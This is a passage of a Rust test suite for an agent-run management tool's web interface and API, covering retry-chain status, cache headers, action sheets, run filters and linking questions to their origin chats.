26315        assert!(APP_JS.contains("#/runs/${latest.id}"));
26316    }
26317
26318    #[tokio::test]
26319    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
26320        // A -> B -> C, all Blocked except the last. A's immediate successor
26321        // (superseded_by) is B, which is itself unresolved; what an operator
26322        // opening A's page actually needs is where the task's story stands
26323        // *now* - C, not B - without depending on whether C happens to be in
26324        // whatever page of /api/runs the client last cached.
26325        let fx = Fixture::start().await;
26326        let q = fx.queue();
26327        let runs = fx.runs();
26328        let (a, b, c) = (
26329            "20260901-000000-aaaa",
26330            "20260901-000000-bbbb",
26331            "20260901-000000-cccc",
26332        );
26333        write_run(&runs, a, RunStatus::Blocked);
26334        write_run(&runs, b, RunStatus::Blocked);
26335        write_run(&runs, c, RunStatus::Merged);
26336
26337        let mut t = Task::new(
26338            "retried twice".to_owned(),
26339            "do it".to_owned(),
26340            PathBuf::from("/repo"),
26341            Source::Human,
26342        );
26343        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
26344        q.put(&mut t).expect("put");
26345
26346        let view = fx.get(&format!("/api/runs/{a}")).await.json();
26347        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
26348        assert_eq!(
26349            view["latest_attempt"]["id"], c,
26350            "the chain's current head, not the intermediate Blocked retry"
26351        );
26352        assert_eq!(view["latest_attempt"]["resolved"], true);
26353
26354        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
26355        assert_eq!(mid["latest_attempt"]["id"], c);
26356        assert_eq!(mid["latest_attempt"]["resolved"], true);
26357    }
26358
26359    #[tokio::test]
26360    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
26361        let fx = Fixture::start().await;
26362        let q = fx.queue();
26363        let runs = fx.runs();
26364
26365        // Still Blocked: the task is not resolved, so the older run must not
26366        // read as settled either.
26367        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
26368        write_run(&runs, still_blocked_a, RunStatus::Blocked);
26369        write_run(&runs, still_blocked_b, RunStatus::Blocked);
26370        let mut t1 = Task::new(
26371            "still stuck".to_owned(),
26372            "do it".to_owned(),
26373            PathBuf::from("/repo"),
26374            Source::Human,
26375        );
26376        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
26377        q.put(&mut t1).expect("put");
26378        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
26379        assert_eq!(view1["latest_attempt"]["resolved"], false);
26380        assert_eq!(view1["latest_attempt"]["status"], "blocked");
26381        assert_eq!(view1["latest_attempt"]["done"], true);
26382
26383        // Still running: the successor exists and must be reported as such.
26384        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
26385        write_run(&runs, run_a, RunStatus::Blocked);
26386        write_run(&runs, run_b, RunStatus::Implementing);
26387        let mut t3 = Task::new(
26388            "retrying".to_owned(),
26389            "do it".to_owned(),
26390            PathBuf::from("/repo"),
26391            Source::Human,
26392        );
26393        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
26394        q.put(&mut t3).expect("put");
26395        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
26396        assert_eq!(view3["latest_attempt"]["id"], run_b);
26397        assert_eq!(view3["latest_attempt"]["resolved"], false);
26398        assert_eq!(view3["latest_attempt"]["done"], false);
26399
26400        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
26401        // to check - not a confirmed finish, so this must not read as
26402        // resolved either, even though the run is done in the sense that
26403        // nothing is still running.
26404        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
26405        write_run(&runs, noop_a, RunStatus::Blocked);
26406        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
26407        let mut t2 = Task::new(
26408            "claims done".to_owned(),
26409            "do it".to_owned(),
26410            PathBuf::from("/repo"),
26411            Source::Human,
26412        );
26413        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
26414        q.put(&mut t2).expect("put");
26415        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
26416        assert_eq!(
26417            view2["latest_attempt"]["resolved"], false,
26418            "an unverified no-op claim must not read as a confirmed finish"
26419        );
26420
26421        // Front end: an unresolved successor must not carry the "finished
26422        // this work" note or the muted chip treatment.
26423        assert!(APP_JS.contains("latest.resolved"));
26424        // ...but the link to it shows as soon as it exists, labelled by state
26425        // and without the "finished" wording or the muted chip.
26426        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
26427        assert!(APP_JS.contains("Latest attempt: "));
26428        assert!(APP_JS.contains("in flight"));
26429        assert!(APP_JS.contains("not resolved"));
26430    }
26431
26432    #[tokio::test]
26433    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
26434        let fx = Fixture::start().await;
26435        // No cache header at all meant browsers invented their own policy,
26436        // and one did: a phone went on showing "Candidates must be folded
26437        // before deleting. Run `magi fold` first." - deleted two releases
26438        // earlier - from a deck that no longer contained the sentence. The
26439        // button it named was right there, and unreachable.
26440        let js = fx.get("/app.js").await;
26441        assert_eq!(js.status, 200);
26442        let tag = js
26443            .header("etag")
26444            .expect("an etag to revalidate against")
26445            .to_owned();
26446        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
26447        assert_eq!(
26448            js.header("cache-control"),
26449            Some("no-cache, must-revalidate"),
26450            "the phone has to ask every time"
26451        );
26452
26453        // And the asking has to be cheap, or `must-revalidate` just means
26454        // "send the whole interface on every load".
26455        let again = fx
26456            .get_with("/app.js", &[("if-none-match", tag.as_str())])
26457            .await;
26458        assert_eq!(
26459            again.status, 304,
26460            "a deck it already has costs one round trip"
26461        );
26462        assert!(again.body.is_empty(), "304 carries no body");
26463
26464        // A weakened tag from a proxy still matches; a different build does
26465        // not, which is the case that has to deliver the new interface.
26466        let weak = fx
26467            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
26468            .await;
26469        assert_eq!(weak.status, 304);
26470        let stale = fx
26471            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
26472            .await;
26473        assert_eq!(stale.status, 200, "an older build must be replaced");
26474        assert!(stale.body.contains("renderRunActions"));
26475    }
26476
26477    #[test]
26478    fn the_task_detail_has_an_actions_fab_and_sheet() {
26479        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
26480        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
26481        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
26482        // Shown only on the task route, closed everywhere else.
26483        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
26484        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
26485        // Refreshed whenever the detail redraws, including the loading state.
26486        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
26487        assert!(APP_JS.contains("renderTaskActions(null);"));
26488        // Same action renderers as the Queue card. Bound this check by the
26489        // next function, since additional task controls can grow the sheet.
26490        let (_, sheet) = APP_JS
26491            .split_once("function renderTaskActions(task) {")
26492            .expect("sheet renderer");
26493        let (body, _) = sheet
26494            .split_once("\nfunction openTaskActions() {")
26495            .expect("end of sheet renderer");
26496        assert!(body.contains("changePriority("));
26497        assert!(body.contains("openTaskEdit(task)"));
26498        assert!(body.contains("renderTaskHoldBox(host"));
26499        assert!(body.contains("renderTaskDoneBox(host"));
26500        assert!(body.contains("renderTaskDeleteBox(host"));
26501        assert!(APP_JS.contains("API.priority(id)"));
26502        assert!(APP_JS.contains("API.deleteTask(id)"));
26503        // A deleted task sends the operator back to the queue.
26504        assert!(APP_JS.contains("location.hash = \"#/queue\""));
26505        // A refusal is shown inside the sheet.
26506        assert!(APP_JS.contains("$(\"task-actions-error\")"));
26507    }
26508
26509    #[test]
26510    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
26511        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
26512        let actions = INDEX_HTML
26513            .find("id=\"run-actions-box\"")
26514            .expect("actions box");
26515        assert!(task < actions, "the task entry comes first in the sheet");
26516        assert!(APP_JS.contains("renderRunTaskEntry"));
26517        assert!(APP_JS.contains("\"Open task \""));
26518        // A run without a task says why there is nothing to open.
26519        assert!(APP_JS.contains("started directly, no task"));
26520        assert!(APP_JS.contains("sheet-task-link"));
26521        assert!(APP_JS.contains("task-chip-link"));
26522    }
26523
26524    #[test]
26525    fn the_deck_never_sends_the_operator_to_a_terminal() {
26526        // The whole point of the phone UI is that a terminal is not needed.
26527        // The delete control used to answer with "Run `magi fold` first."
26528        assert!(
26529            !APP_JS.contains("Run `magi fold` first"),
26530            "the deck must offer the fold, not prescribe a shell command"
26531        );
26532        assert!(APP_JS.contains("foldRun:"));
26533        assert!(APP_JS.contains("resumeRun:"));
26534        assert!(APP_JS.contains("renderRunActions"));
26535
26536        // Folding is destructive and armed in two steps, like deleting.
26537        assert!(APP_JS.contains("armedFold"));
26538        assert!(APP_JS.contains("Yes, fold worktrees"));
26539
26540        // And the copy has to say that the two actions are opposites, because
26541        // folding throws away exactly what a resume would continue from.
26542        assert!(APP_JS.contains("can no longer be resumed"));
26543    }
26544
26545    #[test]
26546    fn a_finished_run_explains_itself_with_its_own_last_line() {
26547        // The deck used to answer "why did this stop?" with a sentence chosen
26548        // by status alone. Run e633 stalled because two judges answered with
26549        // the wrong JSON shape and its card said "The panel collapsed on
26550        // agent quota" - with `quota: []` in the record and a quota-loss
26551        // counter right above it that correctly said nothing.
26552        assert!(
26553            !APP_JS.contains("collapsed on agent quota"),
26554            "a stall must not be explained by a cause the deck did not check"
26555        );
26556        assert!(
26557            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
26558            "and a block must not offer a guess with an `or` in it"
26559        );
26560
26561        // The reason it does have is `run.event`, which must reach finished
26562        // runs: gating it on movement hid the recorded truth at the one moment
26563        // the operator is reading the card to find out what happened.
26564        assert!(
26565            APP_JS.contains("setText(r.event, run.event || \"\")"),
26566            "the run's last line is rendered unconditionally"
26567        );
26568        assert!(
26569            !APP_JS.contains("moving && run.event"),
26570            "and never gated on the run still moving"
26571        );
26572
26573        // Quota keeps its own counter, fed by the number actually recorded.
26574        assert!(APP_JS.contains("lost to quota"));
26575    }
26576
26577    /// The runs tree (section) and the state chips (waiting/done) are two
26578    /// independent lenses ANDed together in `renderRuns`, and some pairings
26579    /// can never both be true for any run - every "Landed"/"Ended" run is
26580    /// done by construction, so pairing either with "Active" or "In flight"
26581    /// always rendered zero cards with the filter bar still claiming
26582    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
26583    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
26584    /// a handful of (waiting, status) shapes standing in for the run
26585    /// lifecycle, because `cargo test` cannot execute the front end.
26586    ///
26587    /// That stand-in list is itself the part that drifted twice in review:
26588    /// once shipped with `waiting: true` paired with a done status the
26589    /// lifecycle cannot produce, then over-corrected into treating every
26590    /// waiting run as never done - which made "Waiting on you" look
26591    /// incompatible with "Done" even for the one real, reachable shape
26592    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
26593    /// that combination. This test parses the shapes and the done-rule back
26594    /// out of `APP_JS`, reimplements `runSection` and the five state
26595    /// predicates independently in Rust, and checks the resulting
26596    /// section/filter compatibility table against the lifecycle rules by
26597    /// hand - so either direction of drift fails it again.
26598    #[test]
26599    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
26600        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
26601        let shapes_body_start =
26602            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
26603        let shapes_close = APP_JS[shapes_body_start..]
26604            .find("].map(")
26605            .expect("the shape list is closed by its done-computing .map(...)")
26606            + shapes_body_start;
26607        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
26608
26609        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
26610        for entry in shapes_src.split('{').skip(1) {
26611            let waiting = entry.contains("waiting: true");
26612            let dead = entry.contains("live: \"dead\"");
26613            let status_at =
26614                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
26615            let status_end = entry[status_at..]
26616                .find('"')
26617                .expect("the status string is closed")
26618                + status_at;
26619            let parked = entry.contains("display_status: \"parked\"");
26620            shapes.push((
26621                waiting,
26622                entry[status_at..status_end].to_string(),
26623                dead,
26624                parked,
26625            ));
26626        }
26627        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
26628
26629        // The done rule itself (`!["implementing"].includes(shape.status)`),
26630        // read out of the source rather than hardcoded, so a renamed
26631        // in-flight status can't silently make every parsed shape "done".
26632        let done_rule_marker = "done: !";
26633        let done_rule_at = APP_JS[shapes_close..]
26634            .find(done_rule_marker)
26635            .expect("the done rule follows the shape list")
26636            + shapes_close
26637            + done_rule_marker.len();
26638        let includes_at = APP_JS[done_rule_at..]
26639            .find(".includes(shape.status)")
26640            .expect("the done rule ends in .includes(shape.status)")
26641            + done_rule_at;
26642        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
26643            .trim()
26644            .trim_start_matches('[')
26645            .trim_end_matches(']')
26646            .split(',')
26647            .map(|s| s.trim().trim_matches('"'))
26648            .filter(|s| !s.is_empty())
26649            .collect();
26650
26651        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
26652            .into_iter()
26653            .map(|(waiting, status, dead, parked)| {
26654                let done = !not_done.contains(&status.as_str());
26655                (waiting, status, dead, parked, done)
26656            })
26657            .collect();
26658
26659        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
26660        // outright, then merged/ready land, stalled/blocked/failed/
26661        // verified_noop end, and everything else is still in flight.
26662        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
26663            if waiting {
26664                return "waiting";
26665            }
26666            if dead
26667                && !parked
26668                && !matches!(
26669                    status,
26670                    "merged"
26671                        | "ready"
26672                        | "stalled"
26673                        | "blocked"
26674                        | "failed"
26675                        | "verified_noop"
26676                        | "superseded"
26677                        | "already_in_base"
26678                )
26679            {
26680                return "stale";
26681            }
26682            match status {
26683                "merged" | "ready" => "landed",
26684                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
26685                | "already_in_base" => "ended",
26686                _ => "flight",
26687            }
26688        }
26689
26690        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
26691        // way.
26692        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
26693            match filter_key {
26694                "active" => !done,
26695                "flight" => !done && !waiting && !dead,
26696                "stale" => !done && !waiting && dead,
26697                "waiting" => waiting,
26698                "done" => done,
26699                "all" => true,
26700                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
26701            }
26702        }
26703
26704        let compatible = |section: &str, filter_key: &str| {
26705            shapes.iter().any(|(waiting, status, dead, parked, done)| {
26706                run_section(*waiting, status, *dead, *parked) == section
26707                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
26708            })
26709        };
26710
26711        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
26712        // (active, flight, stale, waiting, done, all) - hand-derived from the
26713        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
26714        // currently contains.
26715        let expected = [
26716            ("waiting", [true, false, false, true, true, true]),
26717            ("stale", [true, false, true, false, false, true]),
26718            ("flight", [true, true, false, false, false, true]),
26719            ("landed", [false, false, false, false, true, true]),
26720            ("ended", [false, false, false, false, true, true]),
26721        ];
26722        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
26723
26724        for (section, wants) in expected {
26725            for (filter_key, want) in filter_keys.iter().zip(wants) {
26726                assert_eq!(
26727                    compatible(section, filter_key),
26728                    want,
26729                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
26730                );
26731            }
26732        }
26733
26734        // The compatibility check exists only to be acted on: both pickers
26735        // must actually consult it rather than just render its answer.
26736        assert!(
26737            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
26738        );
26739        assert!(APP_JS.contains(
26740            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
26741        ));
26742        assert!(APP_JS.contains(
26743            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
26744        ));
26745    }
26746
26747    #[tokio::test]
26748    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
26749        // An operator-named directory - git checkout or not - is never
26750        // second-guessed, even when it does not exist at all: only the
26751        // flag's own unmodified `.` default is ever eligible for discovery.
26752        let dir = tempfile::tempdir().expect("tempdir");
26753        let explicit = dir.path().join("not-a-checkout");
26754        std::fs::create_dir_all(&explicit).expect("create dir");
26755        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
26756
26757        let missing = dir.path().join("does-not-exist-at-all");
26758        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
26759    }
26760
26761    #[test]
26762    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
26763        assert!(APP_JS.contains("function statsDonutArcs"));
26764        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
26765        // A bucket click filters by the statuses src/stats.rs counts in it.
26766        assert!(APP_JS.contains("function statusInBucket"));
26767        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
26768        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
26769        let buckets = [
26770            "merged",
26771            "ready",
26772            "in_progress",
26773            "blocked",
26774            "failed",
26775            "verified_noop",
26776            "superseded",
26777            "stalled",
26778        ];
26779        for key in buckets {
26780            let var = format!("--verdict-{key}:");
26781            // Light, OS-dark and pinned-dark blocks each define it.
26782            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
26783            assert!(
26784                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
26785                "{key}"
26786            );
26787        }
26788    }
26789
26790    #[tokio::test]
26791    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
26792        let dir = tempfile::tempdir().expect("tempdir");
26793        let queue = Queue::at(dir.path().join("queue"));
26794        let talks = Talks::at(dir.path().join("talks"));
26795        std::fs::create_dir_all(queue.root()).unwrap();
26796        std::fs::create_dir_all(talks.root()).unwrap();
26797
26798        // Put a corrupt json file in both stores
26799        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
26800        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
26801
26802        // Valid task and talk
26803        let mut task = Task::new(
26804            "title".into(),
26805            "inst".into(),
26806            PathBuf::from("/repo"),
26807            Source::Human,
26808        );
26809        task.id = "20261019-123456-abcd".into();
26810        // Write manually so it's a valid file
26811        std::fs::write(
26812            queue.path_of(&task.id),
26813            serde_json::to_string(&task).unwrap(),
26814        )
26815        .unwrap();
26816
26817        let talk_id = "20261019-234567-cdef";
26818        seed_talk_at(&talks, talk_id, "open");
26819
26820        // Exact match should succeed without failing on the corrupt json file
26821        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
26822        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
26823
26824        // Prefix match should also succeed by scanning file names without deserializing corrupt file
26825        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
26826        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
26827    }
26828
26829    #[tokio::test]
26830    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
26831        let home = tempfile::tempdir().unwrap();
26832        let ui = delta_test_ui(home.path());
26833        // A full history traversal would fail even with no questions.
26834        std::fs::write(ui.queue.root(), "not a directory").unwrap();
26835        std::fs::write(ui.talks.root(), "not a directory").unwrap();
26836        assert!(
26837            questions_list(State(ui.clone()))
26838                .await
26839                .unwrap()
26840                .0
26841                .is_empty()
26842        );
26843        assert!(
26844            question_origins(State(ui.clone()))
26845                .await
26846                .unwrap()
26847                .0
26848                .is_empty()
26849        );
26850        let mut question = Question::new(
26851            "run-history".into(),
26852            "review".into(),
26853            "seat".into(),
26854            "Useful question".into(),
26855            "Useful detail".into(),
26856            vec![],
26857        );
26858        ui.questions.put(&mut question).unwrap();
26859        let core = questions_core(State(ui.clone())).await.unwrap().0;
26860        assert_eq!(core.len(), 1);
26861        assert_eq!(core[0].question.summary, "Useful question");
26862        assert!(!core[0].can_consult_chat);
26863        assert!(core[0].origin_chat.is_none());
26864        assert_eq!(core[0].record_revision, question_record_revision(&question));
26865        assert!(question_origins(State(ui.clone())).await.is_err());
26866        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26867    }
26868
26869    #[tokio::test]
26870    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26871        let home = tempfile::tempdir().unwrap();
26872        let ui = delta_test_ui(home.path());
26873        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26874        let mut parent = Task::new(
26875            "parent".into(),
26876            "body".into(),
26877            PathBuf::from("/repo"),
26878            Source::Agent {
26879                run: chat.clone(),
26880                node: crate::queue::CHAT_NODE.into(),
26881            },
26882        );
26883        parent.id = "parent-task".into();
26884        parent.runs = vec!["parent-run".into()];
26885        ui.queue.put(&mut parent).unwrap();
26886        let mut previous = parent;
26887        for generation in 1..=2 {
26888            let mut child = Task::new(
26889                "child".into(),
26890                "body".into(),
26891                PathBuf::from("/repo"),
26892                Source::Human,
26893            );
26894            child.id = format!("child-task-{generation}");
26895            child.runs = vec![format!("child-run-{generation}")];
26896            child.followup = Some(crate::queue::FollowUp {
26897                origin_task: Some(previous.id.clone()),
26898                run: previous.runs[0].clone(),
26899                pr: String::new(),
26900                findings: vec![],
26901                generation,
26902            });
26903            ui.queue.put(&mut child).unwrap();
26904            previous = child;
26905        }
26906        // A run may have the same spelling as another task's id; its owner
26907        // must not override a typed task reference.
26908        let mut collision = Task::new(
26909            "collision".into(),
26910            String::new(),
26911            PathBuf::from("/repo"),
26912            Source::Human,
26913        );
26914        collision.id = "collision-task".into();
26915        collision.runs = vec![previous.id.clone()];
26916        ui.queue.put(&mut collision).unwrap();
26917        let mut questions = Vec::new();
26918        for (node, reference, expected, eligible) in [
26919            (crate::triage::NODE, previous.id.as_str(), true, false),
26920            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26921            ("review", previous.runs[0].as_str(), true, true),
26922            (
26923                crate::bump::NOTICE_NODE,
26924                previous.runs[0].as_str(),
26925                true,
26926                false,
26927            ),
26928            // Identical text in the wrong reference namespace is not evidence.
26929            ("review", previous.id.as_str(), false, false),
26930            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26931            ("review", "unrelated", false, false),
26932        ] {
26933            let mut q = Question::new(
26934                reference.into(),
26935                node.into(),
26936                "seat".into(),
26937                "Question".into(),
26938                String::new(),
26939                vec![],
26940            );
26941            ui.questions.put(&mut q).unwrap();
26942            questions.push((q, expected, eligible));
26943        }
26944        for (node, reference, associated, eligible) in [
26945            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26946            (
26947                crate::reconcile::NODE,
26948                previous.runs[0].as_str(),
26949                false,
26950                true,
26951            ),
26952            ("implement", previous.id.as_str(), false, false),
26953        ] {
26954            let mut q = Question::new(
26955                reference.into(),
26956                node.into(),
26957                crate::reconcile::SEAT.into(),
26958                "Reconcile".into(),
26959                String::new(),
26960                vec![],
26961            );
26962            ui.questions.put(&mut q).unwrap();
26963            questions.push((q, associated, eligible));
26964        }
26965        let mut release = Question::new(
26966            "release-record".into(),
26967            crate::bump::NOTICE_NODE.into(),
26968            "release-watch".into(),
26969            "Release".into(),
26970            String::new(),
26971            vec![],
26972        );
26973        ui.questions.put(&mut release).unwrap();
26974        let watch = crate::release_watch::WatchState {
26975            question: Some(release.id.clone()),
26976            run: Some(previous.runs[0].clone()),
26977            held_task: Some(previous.id.clone()),
26978            ..Default::default()
26979        };
26980        let watch_dir = home.path().join("release-watch");
26981        std::fs::create_dir_all(&watch_dir).unwrap();
26982        let watch_path = watch_dir.join("watch.json");
26983        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26984        // Ordinary questions and bump notices do not need watch-store I/O.
26985        for batch in [
26986            Vec::new(),
26987            questions.iter().map(|(q, _, _)| q.clone()).collect(),
26988        ] {
26989            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
26990            assert!(watches.is_empty());
26991        }
26992        questions.push((release.clone(), true, false));
26993
26994        let views = questions_list(State(ui.clone())).await.unwrap().0;
26995        let origins = question_origins(State(ui.clone())).await.unwrap().0;
26996        for (q, associated, eligible) in &questions {
26997            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
26998            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
26999            let expected = associated.then_some(chat.as_str());
27000            assert_eq!(
27001                view.origin_chat.as_deref(),
27002                expected,
27003                "{} {}",
27004                q.node,
27005                q.run
27006            );
27007            assert_eq!(origin.origin_chat.as_deref(), expected);
27008            assert_eq!(view.origin_chat_closed, *associated);
27009            assert_eq!(origin.origin_chat_closed, *associated);
27010            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
27011            assert_eq!(origin.can_consult_chat, *eligible);
27012        }
27013        // Either saved link independently recovers a release question's owner.
27014        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
27015            let link = crate::release_watch::WatchState {
27016                run,
27017                held_task,
27018                ..watch.clone()
27019            };
27020            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
27021            let (tasks, talks, watches) =
27022                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27023            assert_eq!(
27024                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27025                    .unwrap()
27026                    .id,
27027                chat,
27028            );
27029            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
27030        }
27031        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27032        // Even identical duplicate records are ambiguous: ignore their links.
27033        let duplicate_path = watch_dir.join("duplicate.json");
27034        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
27035        let (tasks, talks, watches) =
27036            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27037        assert!(
27038            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27039                .is_none()
27040        );
27041        std::fs::remove_file(duplicate_path).unwrap();
27042        // Another explicit owner is a conflict even if it has no chat.
27043        let mut unrelated = Task::new(
27044            "other".into(),
27045            String::new(),
27046            PathBuf::from("/repo"),
27047            Source::Human,
27048        );
27049        unrelated.id = "unrelated-task".into();
27050        ui.queue.put(&mut unrelated).unwrap();
27051        let mut conflicting = watch.clone();
27052        conflicting.held_task = Some(unrelated.id);
27053        std::fs::write(
27054            watch_dir.join("conflict.json"),
27055            serde_json::to_vec(&conflicting).unwrap(),
27056        )
27057        .unwrap();
27058        let (tasks, talks, watches) =
27059            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
27060        assert!(
27061            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
27062                .is_none()
27063        );
27064        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
27065        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
27066        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
27067            assert!(origin.origin_chat.is_none());
27068            assert!(!origin.origin_chat_closed);
27069        }
27070    }
27071
27072    #[test]
27073    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27074        let home = tempfile::tempdir().unwrap();
27075        let ui = delta_test_ui(home.path());
27076        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27077        for i in 0..1000 {
27078            let mut task = Task::new(
27079                "unrelated".into(),
27080                "instruction ".repeat(256),
27081                PathBuf::from("/repo"),
27082                Source::Human,
27083            );
27084            task.id = format!("history-{i:04}");
27085            ui.queue.put(&mut task).unwrap();
27086            let id = seed_talk_at(&ui.talks, &task.id, "open");
27087            let mut talk = ui.talks.get(&id).unwrap();
27088            talk.pending = "history ".repeat(256);
27089            ui.talks.put(&mut talk).unwrap();
27090        }
27091        let mut parent = Task::new(
27092            "parent".into(),
27093            "body".into(),
27094            PathBuf::from("/repo"),
27095            Source::Agent {
27096                run: chat_id.clone(),
27097                node: crate::queue::CHAT_NODE.into(),
27098            },
27099        );
27100        parent.id = "task-parent".into();
27101        parent.runs = vec!["run-parent".into()];
27102        ui.queue.put(&mut parent).unwrap();
27103        let mut child = Task::new(
27104            "child".into(),
27105            "body".into(),
27106            PathBuf::from("/repo"),
27107            Source::Human,
27108        );
27109        child.id = "task-child".into();
27110        child.runs = vec!["run-child".into()];
27111        child.followup = Some(crate::queue::FollowUp {
27112            run: "run-parent".into(),
27113            origin_task: Some(parent.id.clone()),
27114            pr: "https://example.invalid/pr/1".into(),
27115            findings: vec![],
27116            generation: 1,
27117        });
27118        ui.queue.put(&mut child).unwrap();
27119        let mut question = Question::new(
27120            child.id.clone(),
27121            crate::conduct::NODE.into(),
27122            "seat".into(),
27123            "Continue?".into(),
27124            String::new(),
27125            vec![],
27126        );
27127        let (tasks, talks, _watches) =
27128            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27129        assert_eq!(tasks.len(), 2);
27130        assert_eq!(talks.len(), 1);
27131        assert_eq!(
27132            ui.monitor.queue_index.lock().unwrap().reparsed,
27133            0,
27134            "exact ancestry bypasses the index"
27135        );
27136        assert_eq!(
27137            crate::consult::origin_talk(&tasks, &talks, &question)
27138                .unwrap()
27139                .id,
27140            chat_id
27141        );
27142        question.run = "run-child".into();
27143        question.node = "review".into();
27144        for origin_task in [Some(parent.id.clone()), None] {
27145            child.followup.as_mut().unwrap().origin_task = origin_task;
27146            ui.queue.put(&mut child).unwrap();
27147            let (tasks, talks, _watches) =
27148                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
